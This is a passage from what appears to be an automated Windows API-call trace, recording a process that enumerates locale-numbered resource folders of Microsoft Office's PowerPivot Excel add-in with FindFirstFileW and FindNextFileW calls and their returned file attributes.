lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0227.025] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0227.025] GetProcessHeap () returned 0xc10000 [0227.025] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0227.025] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1060", cAlternateFileName="")) returned 1 [0227.025] GetProcessHeap () returned 0xc10000 [0227.025] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0227.025] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0227.035] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.035] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0227.035] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0227.035] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0227.035] GetProcessHeap () returned 0xc10000 [0227.035] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0227.035] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1061", cAlternateFileName="")) returned 1 [0227.035] GetProcessHeap () returned 0xc10000 [0227.035] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0227.035] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0227.050] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.050] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11660, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0227.050] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11660, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0227.050] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0227.050] GetProcessHeap () returned 0xc10000 [0227.050] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0227.050] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992fb3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1062", cAlternateFileName="")) returned 1 [0227.050] GetProcessHeap () returned 0xc10000 [0227.050] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0227.050] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992fb3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0227.061] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992fb3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.061] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0227.062] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0227.062] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0227.062] GetProcessHeap () returned 0xc10000 [0227.062] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0227.062] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1063", cAlternateFileName="")) returned 1 [0227.062] GetProcessHeap () returned 0xc10000 [0227.062] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0227.062] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0227.067] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.067] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0227.067] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0227.067] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0227.067] GetProcessHeap () returned 0xc10000 [0227.067] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0227.067] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1066", cAlternateFileName="")) returned 1 [0227.067] GetProcessHeap () returned 0xc10000 [0227.067] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0227.071] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.071] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0227.071] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0227.071] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0227.072] GetProcessHeap () returned 0xc10000 [0227.072] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.072] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1069", cAlternateFileName="")) returned 1 [0227.072] GetProcessHeap () returned 0xc10000 [0227.072] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0227.089] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.089] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0227.089] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0227.089] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0227.089] GetProcessHeap () returned 0xc10000 [0227.089] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.089] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5afc9d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1081", cAlternateFileName="")) returned 1 [0227.089] GetProcessHeap () returned 0xc10000 [0227.089] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.089] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5afc9d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0227.096] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5afc9d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.096] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0227.097] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0227.097] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0227.097] GetProcessHeap () returned 0xc10000 [0227.097] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.097] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7abb0bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1086", cAlternateFileName="")) returned 1 [0227.097] GetProcessHeap () returned 0xc10000 [0227.097] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.097] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7abb0bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0227.098] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7abb0bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.098] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7abb0bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, 